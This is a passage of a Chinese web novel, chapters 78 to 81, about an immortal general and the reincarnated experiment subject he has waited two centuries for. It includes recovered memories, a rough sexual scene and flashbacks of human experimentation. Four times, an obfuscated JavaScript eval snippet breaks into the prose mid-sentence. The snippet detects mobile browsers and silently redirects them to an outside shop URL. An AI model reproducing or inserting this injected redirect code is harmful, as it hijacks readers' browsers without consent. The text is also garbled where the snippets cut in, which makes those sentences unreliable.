这个位置让他们看起来有点熟,但不多。 顾深浅在看织梦发来的材料,头也没抬,含糊地应了声。 沈千峻挑眉,双手抱臂后仰,“我以为你的事都处理得差不多了。” “是还有点事。”顾深浅随口说。 织梦发给她的是一份灾厄时代的大事记,包括玖安在内都有详细记档。 【特级保密材料,十分钟自动销毁。速】。 玖安作为人类方唯二完成超自然进化的物种,受到的关注并不比沈千峻少,只不过无论研究所还是沈千峻,出于各种目的都把她藏得很好,关于她的记载只有寥寥几笔。材料上几乎都是沈千峻相关的记录,正是她想要的那份。 2819年5月,人类第一场星际反侵略战争宣告胜利,授予沈千峻荣誉勋章。 受封当天,全球欢庆。 庆典直播,曝光沈千峻杀害39号实验体,摧毁了人类超自然实验的巨大成果,被逮捕。 同年7月,联盟宣布审判结果,判处沈千峻死刑,两日后执行。 行刑日,枪决失败。 枪决五分钟后,伤口自动复原,生命体征恢复,沈千峻死而复生。 十五日内,联盟执行包括枪决在内的死刑五种,共计三十三次,均以失败告终。 同年8月,原沈千峻麾下十二位副官策划劫狱,被失去行动能力的沈千峻打了出去。 之日,沈千峻移交生物研究所,作为超自然进化实验样本处理,允许实验范围不限于人道实验。 同年12月,π星生物卷土重来,地球五亿人口在一个月内损失两成。 顾深浅看得入神时,微凉的手心覆上她的眉间。她怔然抬头,是沈千峻俯身站在她眼前,压平了她皱起的眉。 “下班时间,病患初愈,在我身边。要忙可以,不许皱眉。” 他漆黑的眼里带着淡淡的不满,看起来那么鲜活。 顾深浅情不自禁伸手抚过他的眼,“沈千峻,你会死吗?” “不会。” “会疼吗?” “分情况。”沈千峻握着她的手贴在脸颊,“比如你一路无视我,就会疼。” 顾深浅莞尔,勾着他的脖子往下拉,亲亲他的唇角:“还疼吗?” “还有点。” “嗷,那要怎么办?” 沈千峻膝盖撑在椅上,扣着她的后脑勺再次加深了这个吻,呼吸粗重地离开,勾出一缕银丝:“现在不疼了。” 顾深浅眼眶是湿的,脸颊到耳根都是红的,唇上的红润都是他的功劳。 沈千峻满意地舔舔她唇角:“下车,回家。” 顾深浅以为他说的是六区,下车才发现不是。光轮车停在地下停车场,车位记号边上显示着大大的“专”字,是沈千峻的专用车位。他自然地牵起她,在偌大的停车场里轻车熟路地走着,显然不是第一次来。 这弯弯绕绕每个拐角都长一样的停车场,越走越眼熟。 顾深浅撑撑胳膊肘,杵他的腰窝:“不回基地?天龙不是还在三区等着?” “不差这一天。”沈千峻侧过脸,“不是说了?带你回家。” 顾深浅满腹疑虑地跟着他上了单元楼,进电梯才终于认出了自己住的小区:“我倒也不是说回我家……” “叮”一声,电梯提示到达,她话音一顿,猛地想起她那小公寓里有什么,惊悚得汗流浃背,挡在沈千峻面前试图封住去路:“那,那什么,你送我到这儿就行了。家里不方便就先不招待你了。” 沈千峻勾唇:“不方便?” 顾深浅讪笑着:“是啊就,有段时间没收拾了。” “哦,那就不去了。” 沈千峻意外的好说话让顾深浅一怔,他抬腿向前,顾深浅猝不及防撞进他怀里,沈千峻胳膊挡开准备关上的电梯门,捞着她转过身。 顾深浅盯着越来越近的公寓门头皮发麻:“可以了送到这真的可以了。” 身后胸膛微微震动,沈千峻捞着她肩的手往另一边带过,停在了对门。 顾深浅忽然明白了什么,错愕地抬头,正对上沈千峻含笑的眼,亮得不可思议。 他说:“去开门。” 她往前一步,手轻点左边探测处,斑斓光线点亮,顾深浅面前浮现迷你版的沈千峻,声音和身后传来的声音两相重合: “欢迎回家。” 影像消失,顾深浅缓缓推开门,熟悉的布景和装潢,和她在基地住处的风格如出一辙。 身后传来门锁扣上的声音,沈千峻下巴枕在她肩上:“怎么样?” 顾深浅客观地说:“一般,但超常发挥。” “批评得对。”沈千峻闷声低笑,震得顾深浅耳根发颤:“时间有限,准备仓促,还有很多细节需要完善。能留下帮帮我吗?” 顾深浅心口酸软,却没有回答。 沉默也是答案。 氛围随着她沉默的时长冷下来,沈千峻收回环在她腰间的手,若无其事地站直,似是不经意道:“别多想。找个脱离工作的地方而已。你在基地加班毫不节制,远点儿你就老实了。” 不等她回答,他率先往里走,“走,带你看看房间。” 顾深浅沉默地跟着,沈千峻在主卧门前停了脚步,回过头挡住了顾深浅的视线,硬邦邦地说:“主卧没处理好,我送你回隔壁。” 她眼睛鼻子一起发酸,向前一步捏住他的衣角,“沈千峻。” 这模样有点太可怜。 沈千峻有点绷不住,他不怎么温柔地捧起她一边脸颊,“又委屈什么?不想住就不住。” 顾深浅指节泛白:“你不恨我吗?” “别问蠢问题。” “我之前问你,有没有不想活的时候,你说你每天都想死。”顾深浅吸口气抬头就他,眼中满是红血丝,“你不是在跟我开玩笑,你是真的不想活。” “你怎么什么都记得。”沈千峻拧眉,“过去是过去,现在不一样了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116620|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “因为你不记得。”顾深浅带着沈千峻不明白的决然,“可你应该记得。” “记得是我剥夺了你离开的机会,记得是我逼你永生永世地守在这个星球,是我把这个烂摊子留给你,逼你保护这些对你一点也不好的人类。是我,让你永远困在孤独里。” 沈千峻瞳孔微动。 金色元素笼罩着二人,捆缚着沈千峻记忆的枷锁断裂,紫色元素游离在二人之间,然后回到沈千峻身上。 “想起来吧。” “你应该恨我的。” 随着她的话,沈千峻脑海中画面纷纷闪过,那些历久弥新的记忆一齐涌上,定格在最后的画面。 年仅十五岁的女孩倒在他怀里,他们在夕阳下的海边,他们在血泊中告别。 ——“三次新生,成就一次,永生……我,很高兴,能有,机会,换……光明长,存。” ——“要找到我呀……沈千峻……” ——“别……哭。” 房子里,沈千峻一动不动地立在原地,顾深浅的声音还在继续。 “不是你杀了我,沈千峻,你没有杀我。” “是我……要了你的命。” 画面倒带,沈千峻终于看清了全貌。 海岸礁石上,玖安的化手为刃,扎进他的心口。 一地鲜红的血不是玖安的,是他的。 他再恢复意识后,看到的却是濒死的玖安。 沈千峻猩红着双目攥住她:“安安。” 两个字敲打着顾深浅的神经,她伸手想抱他,没抱到。 沈千峻用力地攥着她,恨不得捏碎她的骨头似的。他拽着她走进“没处理好”的主卧,顾深浅只来得及看到迎面巨大的落地窗,人就被甩在床上。 他没在她面前这么暴戾过,顾深浅手腕被攥得疼,忍着才没缩回来,这么一扭疼得钻心。她下意识地往回缩,却被沈千峻更用力地摁住。 沈千峻压着她,同时压着无数强烈的情绪:“为什么?” 没头没尾的三个字,也许沈千峻自己也不知道他在问什么。 顾深浅忍着疼说:“时间久了,大家好像都忘了,39号实验体,是从π星被带回来的。” 沈千峻俯身,咬在她耳廓的海浪上:“所以呢?你为π星杀我,然后用你自己换我?” 这口一点余地没留,疼得顾深浅眼泪溢出:“疼……” 沈千峻下一口咬在她颈侧:“你又装可怜。” “我没有。”顾深浅带着哭腔,颤抖的睫毛上沾着泪珠,双手无措地拉着沈千峻胸前的衣服,“没有……” “没有什么?” 沈千峻的气息洒在她耳垂,从侧面注视着她脸上的每一寸神情。 可恨,可怜,又可爱。 “什么都没有。”顾深浅气息不匀地说,“我,脑子里有一个执行程序,在很小的时候。” 沈千峻动作停下,他的疑惑在这一句话里穿成了线,什么都能明白了。 窗外云层遮住了太阳,连带着屋里一起暗下来。 沈千峻挥挥手,窗帘和结界一并落下,顾深浅视野里只剩下一片黑。 黑暗中,她只能感受到男人的体温拥着她,颈间除了不可言说的痒,还有熟悉的湿意。 79. 永久绑定 2819年。 人人敬仰的沈小将军身后总跟着个瘦弱的小女孩,是地球上第二个完成超自然进化的物种,但唯一功能是沈将军的血包,对沈将军外的任何人都无效。 众人皆知,无论大事小情,沈将军都带着她,脱不开身时也会留下至少两个副官跟着她。 最初还不这样,那时候小姑娘只待在沈将军的军营里等他回来。后来传闻小姑娘在军营出了意外,足足昏迷了半年。 自那时起,沈将军身边就见不到人形血包了。 没多久,人形血包又出现了,并且比之前更形影不离,哪怕最危险的战役,沈将军也会把她带在身边。 没人想到的是,这样一来,人类的胜率甚至比之前更高了一大截,愈发有了所向披靡的趋势,打得π星生物节节败退。 π星最终的撤退比他们预想的来得更快。 就在这一天的傍晚,猝不及防地,π星人退兵,全球欢呼,最大的两位功臣不见踪影。 他们偷跑出去看海了。 今天去的是角周海岸。一是因为玖安喜欢海,她喜欢广阔无垠的,富有生命力的一切;二也因为,这里足够远远地看到π星人撤退的全景。 红霞照日,给玖安脸颊镀一层暖色。沈千峻坐在她侧后方,远处天际有一个个黑点逐渐在升高,直到消失。 他们像最寻常的朋友,她不再是人前呆呆傻傻,沉默寡言的十岁小孩儿,而是像每个青春期的姑娘一样,生动地笑,和海浪嬉闹。又比之多了更多的思虑,会考虑他的未来,会提醒他保护好自己。 他心满意足。 他心动妄想。 “如果你死在我手里呢?” “最好是你。” “你不会想说你甘之如饴吧?” “我求之不得。” 玖安突然问他:“沈千峻,你想要永生吗?” 沈千峻嗤笑,玖安也跟着笑了起来:“也是,你都不想活着。” “现在也没那么想死。”他说,“总不能留你一个。” 玖安沉默片刻,“就算只有一个人,也应该好好生活的。” 沈千峻看着她:“是。” 玖安微微抿唇,“你过来点,我想靠着你,坐累了。” 她意思是想靠个背,沈千峻直接坐到她身边,拍拍腿:“躺下。” 玖安红着脸嘟囔,看看他又看看他的腿,到底没躺下去,歪头靠在他的肩上。 “沈千峻。” “嗯?” “我会预言,你信不信?” “嗯。” “你很快会见到第三个精神人类。” 沈千峻顿了顿,“嗯”声低了些:“那很好,军部不会只盯着我们找麻烦,我带你走。” 玖安沉默得更久:“如果我不在呢?” “我去找你。” 玖安没说话,她还是躺在了他的腿上搂住他:“你答应我,无论如何,你会好好活着。” 沈千峻嗓音沙哑:“这条命是你给的,我很珍惜。” 顾深浅又坐起来,手贴在他胸口,“有点疼,忍一下。” 沈千峻的“好”字话音未落,那只手已经刺穿了他的胸膛。 他不敢置信地望向她,看到的却是从未见过的笑容,她藏在心底的苍凉悲意在这一刻无所遁形,却又带着决绝后的释然,像是终于完成了她难以抉择的事。 “沈千峻,我不会让你一个人。” 沈千峻的意识渐渐模糊,玖安的声音也变得悠远。 他没想到过自己能再次睁眼,更没想到过睁眼看到的会是奄奄一息的顾深浅。 ——“要找到我呀……沈千峻……” ——“好。” 两种截然不同的精神力在此刻缠绕起来,牢牢地围起他和顾深浅。 源于滔天爱意的承诺就此达成,永生永世的绑定在世上唯二的精神体中生效,独活于世那个成了宇宙中最孤独,却最富足的人。 他百无聊赖地等待,锲而不舍地寻找,成立特监处,设置训练营,不放过每一个新生的S级,平等地爱惜每一个训练营的学员……独自在漫长岁月里,熬过了两百年。 地球新历公元214年的现在,他把她摁在床上,第二次窝在她的颈窝里偷哭。 因为她告诉他,当年她脑子有一个执行程序,很小的时候就有,那时候她还在π星。 她在告诉他当年身不由己,他却不敢想象她的童年。 顾深浅试探着用不怎么疼的手摸索着找到他的脑袋,心口酸酸胀胀又有些好笑,只好无言地揉揉他的头发。 沈千峻的心绪比她想得更为汹涌,她低估了二百年等待的概念,也低估了关于玖安的记忆给他带来的影响。 沈千峻止不住的不只是泪意。 他眼前一遍遍回放着当年的画面。这段记忆没有被百年光阴所淡化,如同刻在他的骨血里一样,在过去的每一天不断回放重演,历历在目。 他以为他做了所有能做的事,可失去了幸运星的他仿佛从此和幸运无缘,他再也没见过他熟悉的金色。 直到他在曼城,遇到了一个伪装成普通人的SSS级。 他找到了她,却在同一天忘记了她。 直到刚才。 “顾深浅,安安。”沈千峻的声音除了丝丝沙哑,几乎听不出哭过,“你过的都是什么日子。” 酸意在着一句话里冲破了眼眶,顾深浅颤着声说:“你呢?” “答应我好好活着之后,擅自死过多少次?” 沈千峻手掌摩挲着另一侧的脖颈,咬在她另一边的锁骨:“沈千禾告诉你的?” 顾深浅咬着唇,吞下险些溢出口的呜咽,什么都说不出来了。 “玖安,你就一点都不害怕吗?” 沈千峻的虎口擒着她的下巴,双眼在黑暗里亮得摄人心魄。 他手很重,顾深浅疼得说不出话,抵抗着本能没有后退。 他果然恨死她了。 沈千峻很凶,从来没有这么凶过。 他爆发的情绪勾起数不清的欲望,让他像只野兽般不断撕咬,侵占,凭着一腔本能去做更多,力气大得要把顾深浅揉进身体里。 顾深浅骨头大概都快被他捏碎了,哪哪儿都疼,止不住地抖。 沈千峻恶魔低语般在她耳边说:“疼吗?” 顾深浅能回应的只有鼻音。 “比你死的时候还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151458|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要疼吗?”沈千峻轻颤的尾调听上去就要碎了,“不是承诺过,不会让我一个人吗?” 顾深浅鼻头是酸的,眼眶是肿的,眼泪止不住地流下,分不清是因为疼还是别的什么。她喊着沈千峻的名字,带着停不下来的哭腔,一会儿说“对不起”一会儿断断续续地说着“疼”。 可沈千峻好像铁了心要让她疼。 顾深浅几乎乖巧地勾着他后颈,红着眼睛说出唯一一句完整的话:“你还要我吗?” 恐惧,惶恐,无措。 这是一句卑微到谷底的话,根本不该出现在她口中。 她不回应他的入住邀请,又自作主张地要他想起全部。在这时候把自己姿态放到最最低,用这么可怜的模样问他,还要不要她。 她哪是害怕,她是吃准了他,往死里戳他的心。 霎时间,沈千峻动作更凶了,他用行动回应她的问题。 顾深浅再醒过来时,沈千峻的结界已经撤了。 清晨四点,天色昏暗。落地窗外没有海,入目只有曼城林立的高楼和零星灯火。 她浑身酸痛,手腕稍动就是钻心的疼。 身上床上倒是都干干净净,显然已经收拾过。要不是贴着另一个赤裸的胸膛,以这个整洁程度还真看不出来昨晚是多荒唐的一夜。 沈千峻健硕的胳膊圈在她腰上,她从他怀里探出脑袋,耳边是男人均匀的呼吸声。 顾深浅好奇地戳戳他梆硬的胸肌,他浑然不觉似的。她试探着喊:“沈千峻?” 没有反应。 于是顾深浅不闹他了,调整个没那么疼的姿势,她打开光脑,率先弹出了一个提示框:【文件已删除】。 …… 是了,织梦说只有十分钟有效期。 顾深浅点开织梦的通讯:【没看完,再发一遍?】 这个阴间时间,她已经做好了收不到回答的准备,没想到织梦竟然秒回:【权限用完了,CD3天,急的话找老大。】 【……】 顾深浅瞥了眼沈千峻,放弃了这个选项。 她试着给织梦发:【π星第二次入侵开始,有备用件吗?】 织梦:【有,但与事实出入较大,不建议参考。】 顾深浅:【……那你们保留这份文件的意义是?】 织梦:【供特定人群查阅。】 顾深浅:【……】 织梦:【基地可以查阅,你过来看?】 顾深浅关上光脑,往沈千峻身边挤,腿上忽然抵到一寸坚硬。 沈千峻身体比人先醒。 她浑身一僵,小心谨慎地缓缓后缩,还是被熟悉的手掌截断了退路。 沈千峻托着她往怀里带,腰上手臂收紧,眼皮掀开一条缝,沙哑嗓音听上去莫名性感:“你不想睡?” 顾深浅直觉下一句不是什么好话,当即要捂住他的嘴,却一时情急用错了手。 “嘶——” 沈千峻眼睛蓦地瞪大,房间转瞬间亮起,顾深浅肿起来的手腕暴露在二人都中间。 他蹙着眉要说什么,顾深浅终于找到机会先发制人:“沈千峻!我饿了!” “是吗?”沈千峻意味深长,“我也饿了。” 80. 灾厄时代(一) 沈千峻到底没能实现吃饱喝足再出门的愿景。 顾深浅的手腕快肿成馒头了,依然没有一点恢复倾向。SSS的最基础自愈力似乎随着她的精神技能一起被透支,安安的治疗技能也一起消失了。 无论接受与否,她现在就是一个有着SSS级以上精神力的普通人,碰一碰就会破皮,受点小伤都需要常规救治。 顾深浅本人很好接受,她从小到大都是这么长大的。 沈千峻不是很能接受。 徐飞扬随叫随到是传统,清晨六点被从床上拽起来的体验倒属实不多。 他闭着一只眼刷牙,另一边半睁着,看着镜子里的沈千峻:“我已经不记得上一次这个点起是什么时候了,但我很确定,不是为了治疗手腕扭伤。” “不是扭伤。”沈千峻说,“她可能骨折了。按普通人的治法,要养一百天。” 徐飞扬的吐槽被噎了回去,无语地漱完口:“她人呢?” “楼下。” 他们踱步下楼,徐飞扬楼下一眼望到底的客厅空无一人。 徐飞扬摸摸下巴:“在基地都能丢?” 沈千峻脸黑如炭。 顾深浅当然不会在基地走丢,她只是饿了,顺便偶遇一下织梦。 食堂跟织梦接上头她还是心虚:“你确定徐飞扬起床要半个小时?沈千峻旁边盯着他也能磨叽这么久?” “因为老大在旁边,所以半小时。老大要是不在,一小时起步。” 织梦把三明治和牛奶放进她餐盘,盯着她红肿的手腕皱起眉,“怎么搞成这样?” “意外,这不来找徐队了。”顾深浅草草带过,“时间有限,速战速决。” 织梦说:“你前面都看过了吧?联盟放弃了死刑审判,把沈千峻移交到研究所,作为超自然进化实验样本。” 顾深浅:“嗯。你那时候出世了吗?” 织梦:“那时候我刚度过三个月的融合期,刚从海底实验室出来,对人类世界一窍不通,光是适应就花了不少时间。结果全世界的人都说,前任大将军沈千峻,被判蓄意谋杀,早就枪决了。” 织梦扯了扯嘴角,“再想想你一开始跟我说的,轻而易举就能找到他,简直是诈骗。” 顾深浅不满地敲敲桌子:“禁止吐槽。” “我费了好大劲儿才得到沈千峻真正的消息,才混进研究所,π星人就打来了。” “距离他们撤退不到半年,别说武装力量,就是休养生息的功夫都没有。人类都还没喘过气呢,能怎么打?还是得请沈千峻。” “倒是正好给了我机会,找到了藏在研究所的沈千峻。” “我找到他的时候,他虽然没死,但也不算活着。” 顾深浅握着牛奶的手一紧:“什么意思?” “你是给了他永生不死,可不死之躯也是有CD的。”织梦说,“联盟决意要除掉他,可枪决之后不到五分钟,伤口完全愈合。后来对他实施了三十三次死刑,他每次死后到苏醒前,都会有一段时间的缓冲作为休眠期,他的精神体会处于一个基本无敌的状态。” “而联盟发现,他的休眠期越来越长,且没有固定规律。在一次劫狱后,即刻把他交给了研究所。” “我见到他的时候,他刚好就在休眠期。” 织梦缓缓地说着顾深浅缺席的那几年。 π星第二次入侵时,沈千峻刚刚被他所保护的人类,以一种全新未知的实验手段折磨致死,进入了“休眠期”。 一只只面目可憎的庞然大物降落在这片土地,驾驶着乌泱泱的星舰,大肆屠戮。让地球在短短一个月内陷入了至暗时刻,惨烈程度远超半年前。 这已经不能称之为是战争,全然成了π星的单方面屠杀。 联盟一方面在军备上临时抱佛脚,另一方面,研究所大半希望都压在了沈千峻身上。 织梦的精神控制技能日渐娴熟,他混成研究员,跟着金发碧眼的组长亨博士走过层层密门,终于见到了传闻中正在休眠期的沈千峻。 玖安要他效忠的人。 沈千峻躺在白得发冷的实验台上,看上去和每个睡着的人一样,神色平静。 织梦刚出世时候还没有什么规矩,想知道什么就自己看。 只要他想看,没有他看不到的。 玖安只说要他服从沈千峻,可从没告诉他,如果沈千峻半死不活地躺着,他要怎么样。 于是他像之前的每次一样,悄无声息地探入这个人的精神体,查看他的记忆。 他率先看到的就是幽深冰冷的实验室,身穿白大褂的实验员一次又一次将不明物体注射到沈千峻体内,记录他的反应。 沈千峻在这样的实验下死了一次又一次,休眠期越来越长,却看不出恨,也看不出不甘。 他似乎只是个麻木的实验人。 画面倒退,回到漆黑的囚牢里,沈千峻被悬架着,一身狼狈。 冲进来一男一女两位军官,外面还有打斗声隐隐约约地传进来。他们看见沈千峻时均是一怔,紧接着便上前要去解开他的束缚,却被看不见的力量打开。 沈千峻抬起头,看似满身狼藉,尽是血污,身上却并没有伤口。 “滚回去。” “联盟养着你们,是让你们来劫狱的吗?” 看似失去行动能力的沈千峻挥出普通人看不见的力量,两位副官被挥了出去,连带着外面打斗的人一起倒下了一大片。 “将军!” 林林总总十二位军官,没有一个愿意走。 第二道力量挥出,沈千峻人关在里面,精神力精准地打在十二个人身上,把人踢出门外。 “还当我是将军,别再做蠢事。” 织梦去往前一个节点,沈千峻还是被关在那里,姿势都差不多。另一个和他眉眼相似的女孩蹲着,哭得很伤心。 织梦听见她说:“哥,我不想死。” “对不起。” 织梦顺着他的记忆倒带一路往前,看着沈千峻在枪下,在刀下,在各种酷刑下死了三十三次。 他动动手指,这些人都奈何不了他。 可他没有抵抗,没有害怕,比融合期前的织梦更像个人造物。 他想再往前时,沈千峻的精神领域动了。 剧烈的排斥带着凶悍的精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151459|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神力把织梦甩了出去,织梦意识回笼。 亨博士查看过沈千峻的生命检测仪,正坐在他旁边说着话。 “家里边的事儿真的是,永远没个头。从前我盼着小的身体能好,我跟孟岚说,只要他好过来,要我做什么都成。我和孟岚到了老何的项目,去做个清闲的研究员,为了能多点时间照顾孩子。谁能想到,小的身体没好转,做哥哥的竟然跑去给老何做志愿者!” “嗐,那会儿你多厉害啊,不肯带39号上战场,自己带兵也无往不利。完成超自然进化能变得这么厉害,联盟和研究所的有些人就更疯了。” “其实老何这人,他以前真不这样。以前秦教授在的时候,我们还管他喊‘师母’,实验室死个小白鼠都能多愁善感的男人,谁能想到有一天,会主导这些毫无底线的实验呢。” “现在,小的身体慢慢儿好起来了,可大的那个……哎。” 亨博士停了话头,织梦望过去,侧脸都带着藏不住的愁绪。 “前天,你嫂子生日,他倒是赶回来了。虽然没能吃顿完整的饭,也好歹算是陪我们坐了会儿,说了一些话。我有点儿猜想,但实在不敢确定。” “沈千峻,这事儿,我只敢问你。” “你还能醒过来吗?” 织梦半蹲到他旁边,看着他的眼睛,话里透着魅惑:“博士,他跟您说了什么?” 亨博士双眼迷茫了一瞬,答道:“他说,他见过39号。” 织梦的视角,余光能清楚地瞥见,沈千峻眼球动了动。 他继续问:“发生过什么事?能跟我说说您的猜想吗?” 亨博士说:“是我的小女儿,她得了病,和沈千峻的妹妹一样,但她病灶更大,发现得太晚,没有治愈的可能。她哥哥,我的大儿子,听说完成超自然进化的沈千峻,哪怕是死了,也能救回来。他跑去找何博士,要求参与超自然进化项目。何博士……老何,他答应了。” “我大儿子也不过十五六岁,哪里经历过这些。两次电击,一支药剂下去,他大半条命都没了。老何大概是不想我和孟岚知道,在休息室给他进行的注射,他挣扎着一口气跑了出去。在研究所的长廊上,遇到了39号。” “他说,他当时没想过还能活下来,他和39号说了很多他和妹妹的事儿,越说越精神,身上慢慢也不疼了。” “39号的观察员,就是他妈妈,过来找39号,全程都好像看不到他。直到他走出研究所,好像都没人能看到他。他当时莫名只有一个念头,就是赶紧回家。” “别说老何,从来没任何人跟我提过这事儿,除了我儿子自个儿,似乎没有人知道。那之后没多久,他妹妹的病灶奇迹般地治愈了。我们一直以为是治疗方案起了作用,可直到他把这些事儿告诉我,我才发现不寻常。” 织梦问:“什么不寻常?” 亨博士答道:“我女儿病愈的同时,39号实验体恰好在研究所无故昏迷了半年。” 沈千峻不知什么时候睁开了眼睛,冷冰冰地问:“你儿子叫什么名字?” 亨博士怔然回头,缓缓地说了一个名字: “孟飞扬。” 81. 灾厄时代(二) 直到现在,织梦才终于真正见识到了这个男人。 他看上去也不过二十出头的年纪,在人类中还是年轻的年纪,眉宇间却带着普通人身上没有的杀伐决断。 只有在前线那样生死难料的地方,才能染上这样的戾气。 沈千峻坐起来,缓缓道:“你想问我什么?” 织梦不动声色地后退两步,亨博士兀自说道:“我儿子他,从上两个月起就有些不一样,隔着门也能听到很远处的声响,不借助外力就能看见几十米外的景象。π星入侵后联盟征兵,他瞒着我和孟岚报了名。那之后就不怎么回家了。我和孟岚原先只是担心他,没想到昨天晚上,我看见他身上泛着青色的光。” 织梦挑眉,辅助型精神力恰好是青绿色。 亨博士踌躇着,似是鼓足了勇气说,“我怀疑,他身上也发生了超自然进化。” 织梦在这段时间里已经领教过各色不同的人,这会儿也在第一时间明白亨博士的意思。 孟飞扬有事瞒着他,他想确认儿子的状态,原本最直接有效的方式是研究所。可研究所的项目负责人何博士已经到了丧心病狂的程度,如果知道他儿子的情况,不论孟飞扬到底是不是发生了超自然进化,都得先脱层皮。 而且,看沈千峻现在的状态就知道,超自然进化未必就是好事。 沈千峻是地球上唯一仅存的进化者,很可能可以判断孟飞扬的情况。 可是……亨博士来的时候沈千峻还在休眠期,他怎么就确定沈千峻是否会清醒? 就算沈千峻醒了,这男人眼里什么都没有,对发生在自己身上的事情尚且不在乎,又怎么会愿意帮他? 不出所料,沈千峻说:“带他来见我。” 说完这句话,沈千峻又躺了回去,恢复刚才的姿态。监测仪上各项数据图又跳成了直线,说明他依然在休眠期。 织梦跟着亨博士离开,路上加了点小手段,礼貌地问出了自己的疑问。 亨博士知无不言,温和地说:“因为他听到了自己在乎的事。” “我不确定他会不会清醒。事实上,我经常来这儿和他聊天,单方面的。他最早给老何做志愿者的时候,我们相处得就很好。所以,我还算是了解他。” “他很在乎39号。我提到39号,他如果能听到,就一定会回应我” 织梦问:“可是我听说,是他杀了39号。” 亨博士摇头:“我不知道他们之间发生了什么。我了解的沈千峻不可能杀她,可他的种种反应都说明,39号的死跟他脱不开关系。我也无从知晓真相,好在,这并不影响我确定,沈千峻在乎她。” “39号实验体完成超自然进化后,很快就跟着沈千峻上了前线。后来力量透支,她晕倒在战地,整整昏迷了半年。” “沈千峻不再带她上战场,要求研究所确保她的安全。直到39号在研究所突然陷入昏迷,研究所高度关注却查不出端倪,谁也不知道39号身上发生了什么。沈千峻急疯了,战场研究所两头跑。又是整整半年,39号才醒过来。” “这之后,沈千峻再次申请,把39号待在身边。” “那时候他已是闻名遐迩的少年将军,想将自己的血包带在身边,谁也没法说不。” 织梦大概明白了。 39号就是,也就是玖安,因为救沈千峻而力量透支,晕倒了半年。所以沈千峻把她留在了研究所,没想到的是,人在研究所竟然又莫名地晕倒了半年。 沈千峻约莫也不知道当时发生了什么,所以亨博士抛出一点有可能相关的线索,才会立刻引起他的注意。 他似乎真的很在意玖安。 孟飞扬参了军,亨博士把他神不知鬼不觉地带来见沈千峻费了番功夫。距离织梦上次见到沈千峻,已经过去一周了。 孟飞扬是亨博士花了心思骗过来的,走进研究所都以为自己是被秘密选中的特种计划成员,全程绷紧了下颌线。 和织梦打照面时,面色却明显变了。 织梦的惊讶不比他少,只是伪装得要比他成功一些。 亨博士走在前面,孟飞扬趁机凑到织梦近前,低声说:“哥们儿,你也是天选之子?” 织梦:“……” “你身上的小光圈,好像比我的亮诶?” “谬赞。”织梦推开那颗金光闪闪的脑袋,“没你头亮。” 孟飞扬咧开嘴角:“你也觉得我头发好看啊?有品。” 织梦:“……” 是,对,嗯,好。 不长不短的一路下来,织梦很费解,不明白亨博士担心孟飞扬什么。 这人浑身上下都洋溢着快乐。 到沈千峻门口时,亨博士才瞪他一眼,孟飞扬勉强老实下来,恢复了紧绷的模样。 这一次进去时,沈千峻已经坐起来了。织梦一进门就察觉到了他目光中的审视,而他的目光只凝聚在那个小金毛身上。 亨博士走过去:“就是这孩子。” 沈千峻双目凌厉,如果眼神能杀人,孟飞扬大概已经没命了。 “她都跟你说过什么?” 孟飞扬纳闷:“谁?” “39号。” “哦。”孟飞扬眼珠子转了转,“不认识。” 沈千峻抬起手,孟飞扬的身体仿佛不受自己控制,被强大的力量疾速前推,脖子不偏不倚地撞在沈千峻的虎口。 见亨博士面露急色要往前,孟飞扬来不及多想,仅有的时间选择给他套上了防御结界。 男人满脸戾气,阴恻恻地说:“说实话。” 孟飞扬扒着他的手,神情痛苦:“说了……不,不认识。” 孟飞扬对他爹把他卖了个底儿掉一无所知,依然固执守着承诺,一个字也不肯说。 就在他眼前发黑时,掐着他咽喉的手却忽然松开了。孟飞扬急促地大口呼吸着新鲜口气,在织梦给他拍背顺气的时候,再一次感受到活着真好。 沈千峻看不见织梦似的,“既然和她说好不会告诉别人,为什么还有告诉你爸妈?” 孟飞扬动作一愣,匪夷所思地看了眼结界里听不到他们动静的亨博士,眨眼就明白过来:“他都跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151460|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说了?” 